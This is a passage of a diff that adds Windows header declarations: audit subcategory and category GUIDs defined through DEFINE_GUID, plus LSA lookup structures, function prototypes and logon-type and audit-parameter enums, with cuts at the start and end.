+ 0x0cce9215, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_Logon_defined + #endif +#endif + +/* 0cce9216-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_Logoff_defined) + DEFINE_GUID( + Audit_Logon_Logoff, + 0x0cce9216, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_Logoff_defined + #endif +#endif + +/* 0cce9217-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_AccountLockout_defined) + DEFINE_GUID( + Audit_Logon_AccountLockout, + 0x0cce9217, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_AccountLockout_defined + #endif +#endif + +/* 0cce9218-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_IPSecMainMode_defined) + DEFINE_GUID( + Audit_Logon_IPSecMainMode, + 0x0cce9218, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_IPSecMainMode_defined + #endif +#endif + +/* 0cce9219-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_IPSecQuickMode_defined) + DEFINE_GUID( + Audit_Logon_IPSecQuickMode, + 0x0cce9219, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_IPSecQuickMode_defined + #endif +#endif + +/* 0cce921a-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_IPSecUserMode_defined) + DEFINE_GUID( + Audit_Logon_IPSecUserMode, + 0x0cce921a, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_IPSecUserMode_defined + #endif +#endif + +/* 0cce921b-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_SpecialLogon_defined) + DEFINE_GUID( + Audit_Logon_SpecialLogon, + 0x0cce921b, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_SpecialLogon_defined + #endif +#endif + +/* 0cce921c-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_Others_defined) + DEFINE_GUID( + Audit_Logon_Others, + 0x0cce921c, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_Others_defined + #endif +#endif + +/* 0cce921d-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_FileSystem_defined) + DEFINE_GUID( + Audit_ObjectAccess_FileSystem, + 0x0cce921d, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_FileSystem_defined + #endif +#endif + +/* 0cce921e-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Registry_defined) + DEFINE_GUID( + Audit_ObjectAccess_Registry, + 0x0cce921e, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_Registry_defined + #endif +#endif + +/* 0cce921f-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Kernel_defined) + DEFINE_GUID( + Audit_ObjectAccess_Kernel, + 0x0cce921f, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_Kernel_defined + #endif +#endif + +/* 0cce9220-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Sam_defined) + DEFINE_GUID( + Audit_ObjectAccess_Sam, + 0x0cce9220, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_Sam_defined + #endif +#endif + +/* 0cce9221-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_CertificationServices_defined) + DEFINE_GUID( + Audit_ObjectAccess_CertificationServices, + 0x0cce9221, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_CertificationServices_defined + #endif +#endif + +/* 0cce9222-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_ApplicationGenerated_defined) + DEFINE_GUID( + Audit_ObjectAccess_ApplicationGenerated, + 0x0cce9222, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_ApplicationGenerated_defined + #endif +#endif + +/* +The Audit_ObjectAccess_Handle sub-category behaves different from the other sub-categories. +For handle based audits to be generated (Open handle AuditId: 0x1230, Close handle AuditId: +0x1232), the corresponding object sub-category AND Audit_ObjectAccess_Handle must be +enabled. For eg, to generate handle based audits for Reg keys, both +Audit_ObjectAccess_Registry and Audit_ObjectAccess_Handle must be enabled +*/ + +/* 0cce9223-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Handle_defined) + DEFINE_GUID( + Audit_ObjectAccess_Handle, + 0x0cce9223, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_Handle_defined + #endif +#endif + +/* 0cce9224-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Share_defined) + DEFINE_GUID( + Audit_ObjectAccess_Share, + 0x0cce9224, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_Share_defined + #endif +#endif + +/* 0cce9225-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_FirewallPacketDrops_defined) + DEFINE_GUID( + Audit_ObjectAccess_FirewallPacketDrops, + 0x0cce9225, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_FirewallPacketDrops_defined + #endif +#endif + +/* 0cce9226-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_FirewallConnection_defined) + DEFINE_GUID( + Audit_ObjectAccess_FirewallConnection, + 0x0cce9226, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_FirewallConnection_defined + #endif +#endif + +/* 0cce9227-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Other_defined) + DEFINE_GUID( + Audit_ObjectAccess_Other, + 0x0cce9227, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_Other_defined + #endif +#endif + +/* 0cce9228-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PrivilegeUse_Sensitive_defined) + DEFINE_GUID( + Audit_PrivilegeUse_Sensitive, + 0x0cce9228, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PrivilegeUse_Sensitive_defined + #endif +#endif + +/* 0cce9229-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PrivilegeUse_NonSensitive_defined) + DEFINE_GUID( + Audit_PrivilegeUse_NonSensitive, + 0x0cce9229, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PrivilegeUse_NonSensitive_defined + #endif +#endif + +/* 0cce922a-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PrivilegeUse_Others_defined) + DEFINE_GUID( + Audit_PrivilegeUse_Others, + 0x0cce922a, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PrivilegeUse_Others_defined + #endif +#endif + +/* 0cce922b-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DetailedTracking_ProcessCreation_defined) + DEFINE_GUID( + Audit_DetailedTracking_ProcessCreation, + 0x0cce922b, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DetailedTracking_ProcessCreation_defined + #endif +#endif + +/* 0cce922c-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DetailedTracking_ProcessTermination_defined) + DEFINE_GUID( + Audit_DetailedTracking_ProcessTermination, + 0x0cce922c, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DetailedTracking_ProcessTermination_defined + #endif +#endif + +/* 0cce922d-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DetailedTracking_DpapiActivity_defined) + DEFINE_GUID( + Audit_DetailedTracking_DpapiActivity, + 0x0cce922d, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DetailedTracking_DpapiActivity_defined + #endif +#endif + +/* 0cce922e-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DetailedTracking_RpcCall_defined) + DEFINE_GUID( + Audit_DetailedTracking_RpcCall, + 0x0cce922e, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DetailedTracking_RpcCall_defined + #endif +#endif + +/* 0cce922f-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_AuditPolicy_defined) + DEFINE_GUID( + Audit_PolicyChange_AuditPolicy, + 0x0cce922f, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_AuditPolicy_defined + #endif +#endif + +/* 0cce9230-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_AuthenticationPolicy_defined) + DEFINE_GUID( + Audit_PolicyChange_AuthenticationPolicy, + 0x0cce9230, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_AuthenticationPolicy_defined + #endif +#endif + +/* 0cce9231-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_AuthorizationPolicy_defined) + DEFINE_GUID( + Audit_PolicyChange_AuthorizationPolicy, + 0x0cce9231, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_AuthorizationPolicy_defined + #endif +#endif + +/* 0cce9232-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_MpsscvRulePolicy_defined) + DEFINE_GUID( + Audit_PolicyChange_MpsscvRulePolicy, + 0x0cce9232, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_MpsscvRulePolicy_defined + #endif +#endif + +/* 0cce9233-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_WfpIPSecPolicy_defined) + DEFINE_GUID( + Audit_PolicyChange_WfpIPSecPolicy, + 0x0cce9233, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_WfpIPSecPolicy_defined + #endif +#endif + +/* 0cce9234-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_Others_defined) + DEFINE_GUID( + Audit_PolicyChange_Others, + 0x0cce9234, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_Others_defined + #endif +#endif + +/* 0cce9235-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_UserAccount_defined) + DEFINE_GUID( + Audit_AccountManagement_UserAccount, + 0x0cce9235, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_UserAccount_defined + #endif +#endif + +/* 0cce9236-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_ComputerAccount_defined) + DEFINE_GUID( + Audit_AccountManagement_ComputerAccount, + 0x0cce9236, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_ComputerAccount_defined + #endif +#endif + +/* 0cce9237-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_SecurityGroup_defined) + DEFINE_GUID( + Audit_AccountManagement_SecurityGroup, + 0x0cce9237, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_SecurityGroup_defined + #endif +#endif + +/* 0cce9238-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_DistributionGroup_defined) + DEFINE_GUID( + Audit_AccountManagement_DistributionGroup, + 0x0cce9238, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_DistributionGroup_defined + #endif +#endif + +/* 0cce9239-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_ApplicationGroup_defined) + DEFINE_GUID( + Audit_AccountManagement_ApplicationGroup, + 0x0cce9239, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_ApplicationGroup_defined + #endif +#endif + +/* 0cce923a-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_Others_defined) + DEFINE_GUID( + Audit_AccountManagement_Others, + 0x0cce923a, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_Others_defined + #endif +#endif + +/* 0cce923b-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DSAccess_DSAccess_defined) + DEFINE_GUID( + Audit_DSAccess_DSAccess, + 0x0cce923b, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DSAccess_DSAccess_defined + #endif +#endif + +/* 0cce923c-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DsAccess_AdAuditChanges_defined) + DEFINE_GUID( + Audit_DsAccess_AdAuditChanges, + 0x0cce923c, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DsAccess_AdAuditChanges_defined + #endif +#endif + +/* 0cce923d-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Ds_Replication_defined) + DEFINE_GUID( + Audit_Ds_Replication, + 0x0cce923d, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Ds_Replication_defined + #endif +#endif + +/* 0cce923e-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Ds_DetailedReplication_defined) + DEFINE_GUID( + Audit_Ds_DetailedReplication, + 0x0cce923e, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Ds_DetailedReplication_defined + #endif +#endif + +/* 0cce923f-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountLogon_CredentialValidation_defined) + DEFINE_GUID( + Audit_AccountLogon_CredentialValidation, + 0x0cce923f, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountLogon_CredentialValidation_defined + #endif +#endif + +/* 0cce9240-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountLogon_Kerberos_defined) + DEFINE_GUID( + Audit_AccountLogon_Kerberos, + 0x0cce9240, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountLogon_Kerberos_defined + #endif +#endif + +/* 0cce9241-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountLogon_Others_defined) + DEFINE_GUID( + Audit_AccountLogon_Others, + 0x0cce9241, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountLogon_Others_defined + #endif +#endif + +/* 0cce9242-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountLogon_KerbCredentialValidation_defined) + DEFINE_GUID( + Audit_AccountLogon_KerbCredentialValidation, + 0x0cce9242, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountLogon_KerbCredentialValidation_defined + #endif +#endif + +/* 0cce9243-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_NPS_defined) + DEFINE_GUID( + Audit_Logon_NPS, + 0x0cce9243, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_NPS_defined + #endif +#endif + +/* 0cce9244-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_DetailedFileShare_defined) + DEFINE_GUID( + Audit_ObjectAccess_DetailedFileShare, + 0x0cce9244, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_DetailedFileShare_defined + #endif +#endif + +#endif // DEFINE_GUID + + +// +// All categories are named as +// + +#ifdef DEFINE_GUID + +/* 69979848-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_System_defined) + DEFINE_GUID( + Audit_System, + 0x69979848, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_System_defined + #endif +#endif + +/* 69979849-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_defined) + DEFINE_GUID( + Audit_Logon, + 0x69979849, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_defined + #endif +#endif + +/* 6997984a-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_defined) + DEFINE_GUID( + Audit_ObjectAccess, + 0x6997984a, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_defined + #endif +#endif + +/* 6997984b-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PrivilegeUse_defined) + DEFINE_GUID( + Audit_PrivilegeUse, + 0x6997984b, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PrivilegeUse_defined + #endif +#endif + +/* 6997984c-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DetailedTracking_defined) + DEFINE_GUID( + Audit_DetailedTracking, + 0x6997984c, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DetailedTracking_defined + #endif +#endif + +/* 6997984d-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_defined) + DEFINE_GUID( + Audit_PolicyChange, + 0x6997984d, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_defined + #endif +#endif + +/* 6997984e-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_defined) + DEFINE_GUID( + Audit_AccountManagement, + 0x6997984e, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_defined + #endif +#endif + +/* 6997984f-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DirectoryServiceAccess_defined) + DEFINE_GUID( + Audit_DirectoryServiceAccess, + 0x6997984f, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DirectoryServiceAccess_defined + #endif +#endif + +/* 69979850-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountLogon_defined) + DEFINE_GUID( + Audit_AccountLogon, + 0x69979850, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountLogon_defined + #endif +#endif + +#endif // DEFINE_GUID + +// 04.06.2011 - added +#if !defined(_NTLSA_IFS_) +#define _NTLSA_IFS_ + +#if !defined(_LSALOOKUP_) +#define _LSALOOKUP_ + +#if defined(_NTDEF_) + +typedef UNICODE_STRING LSA_UNICODE_STRING, *PLSA_UNICODE_STRING; +typedef STRING LSA_STRING, *PLSA_STRING; +typedef OBJECT_ATTRIBUTES LSA_OBJECT_ATTRIBUTES, *PLSA_OBJECT_ATTRIBUTES; + +#else // _NTDEF_ + +typedef struct _LSA_UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; +#ifdef MIDL_PASS + [size_is(MaximumLength/2), length_is(Length/2)] +#endif // MIDL_PASS + PWSTR Buffer; +} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING; + +typedef struct _LSA_STRING { + USHORT Length; + USHORT MaximumLength; + PCHAR Buffer; +} LSA_STRING, *PLSA_STRING; + +typedef struct _LSA_OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PLSA_UNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR + PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE +} LSA_OBJECT_ATTRIBUTES, *PLSA_OBJECT_ATTRIBUTES; + +#endif // _NTDEF_ + +typedef struct _LSA_TRUST_INFORMATION { + LSA_UNICODE_STRING Name; // The name of the domain + PSID Sid; // ptr to domain Sid +} LSA_TRUST_INFORMATION, *PLSA_TRUST_INFORMATION; + +typedef struct _LSA_REFERENCED_DOMAIN_LIST { + ULONG Entries; // count of domains in domain array + PLSA_TRUST_INFORMATION Domains; // pointer to array LSA_TRUST_INFORMATION data +} LSA_REFERENCED_DOMAIN_LIST, *PLSA_REFERENCED_DOMAIN_LIST; + +#if (_WIN32_WINNT >= 0x0501) +typedef struct _LSA_TRANSLATED_SID2 { + SID_NAME_USE Use; + PSID Sid; + LONG DomainIndex; + ULONG Flags; +} LSA_TRANSLATED_SID2, *PLSA_TRANSLATED_SID2; +#endif + +typedef struct _LSA_TRANSLATED_NAME { + SID_NAME_USE Use; + LSA_UNICODE_STRING Name; + LONG DomainIndex; +} LSA_TRANSLATED_NAME, *PLSA_TRANSLATED_NAME; + +typedef struct _POLICY_ACCOUNT_DOMAIN_INFO { + LSA_UNICODE_STRING DomainName; + PSID DomainSid; +} POLICY_ACCOUNT_DOMAIN_INFO, *PPOLICY_ACCOUNT_DOMAIN_INFO; + +typedef struct _POLICY_DNS_DOMAIN_INFO +{ + LSA_UNICODE_STRING Name; + LSA_UNICODE_STRING DnsDomainName; + LSA_UNICODE_STRING DnsForestName; + GUID DomainGuid; + PSID Sid; +} POLICY_DNS_DOMAIN_INFO, *PPOLICY_DNS_DOMAIN_INFO; + +#define LOOKUP_VIEW_LOCAL_INFORMATION 0x00000001 +#define LOOKUP_TRANSLATE_NAMES 0x00000800 + +typedef enum _LSA_LOOKUP_DOMAIN_INFO_CLASS { + AccountDomainInformation = 5, + DnsDomainInformation = 12 +} LSA_LOOKUP_DOMAIN_INFO_CLASS, *PLSA_LOOKUP_DOMAIN_INFO_CLASS; + +typedef PVOID LSA_LOOKUP_HANDLE, *PLSA_LOOKUP_HANDLE; + +NTSTATUS +LsaLookupOpenLocalPolicy( + IN PLSA_OBJECT_ATTRIBUTES ObjectAttributes, + IN ACCESS_MASK AccessMask, + IN OUT PLSA_LOOKUP_HANDLE PolicyHandle + ); + +NTSTATUS +LsaLookupClose( + IN LSA_LOOKUP_HANDLE ObjectHandle + ); + +NTSTATUS +LsaLookupTranslateSids( + IN LSA_LOOKUP_HANDLE PolicyHandle, + IN ULONG Count, + IN PSID *Sids, + OUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, + OUT PLSA_TRANSLATED_NAME *Names + ); + +#if (_WIN32_WINNT >= 0x0501) +NTSTATUS +LsaLookupTranslateNames( + IN LSA_LOOKUP_HANDLE PolicyHandle, + IN ULONG Flags, + IN ULONG Count, + IN PLSA_UNICODE_STRING Names, + OUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, + OUT PLSA_TRANSLATED_SID2 *Sids + ); +#endif + +NTSTATUS +LsaLookupGetDomainInfo( + IN LSA_LOOKUP_HANDLE PolicyHandle, + IN LSA_LOOKUP_DOMAIN_INFO_CLASS DomainInfoClass, + OUT PVOID *DomainInfo + ); + +NTSTATUS +LsaLookupFreeMemory( + IN PVOID Buffer + ); + +#ifdef __cplusplus +} +#endif + +#endif // _LSALOOKUP_ + +#define LSA_MODE_PASSWORD_PROTECTED (0x00000001L) +#define LSA_MODE_INDIVIDUAL_ACCOUNTS (0x00000002L) +#define LSA_MODE_MANDATORY_ACCESS (0x00000004L) +#define LSA_MODE_LOG_FULL (0x00000008L) + +typedef enum _SECURITY_LOGON_TYPE { + UndefinedLogonType = 0, // This is used to specify an undefied logon type + Interactive = 2, // Interactively logged on (locally or remotely) + Network, // Accessing system via network + Batch, // Started via a batch queue + Service, // Service started by service controller + Proxy, // Proxy logon + Unlock, // Unlock workstation + NetworkCleartext, // Network logon with cleartext credentials + NewCredentials, // Clone caller, new default credentials + //The types below only exist in Windows XP and greater +#if (_WIN32_WINNT >= 0x0501) + RemoteInteractive, // Remote, yet interactive. Terminal server + CachedInteractive, // Try cached credentials without hitting the net. + // The types below only exist in Windows Server 2003 and greater +#endif +#if (_WIN32_WINNT >= 0x0502) + CachedRemoteInteractive, // Same as RemoteInteractive, this is used internally for auditing purpose + CachedUnlock // Cached Unlock workstation +#endif +} SECURITY_LOGON_TYPE, *PSECURITY_LOGON_TYPE; + +typedef ULONG LSA_OPERATIONAL_MODE, *PLSA_OPERATIONAL_MODE; + +#if !defined(_NTLSA_AUDIT_) +#define _NTLSA_AUDIT_ + +// +// The following enumerated type is used between the reference monitor and +// LSA in the generation of audit messages. It is used to indicate the +// type of data being passed as a parameter from the reference monitor +// to LSA. LSA is responsible for transforming the specified data type +// into a set of unicode strings that are added to the event record in +// the audit log. +// + +typedef enum _SE_ADT_PARAMETER_TYPE { + + SeAdtParmTypeNone = 0, //Produces 1 parameter + SeAdtParmTypeString, //Produces 1 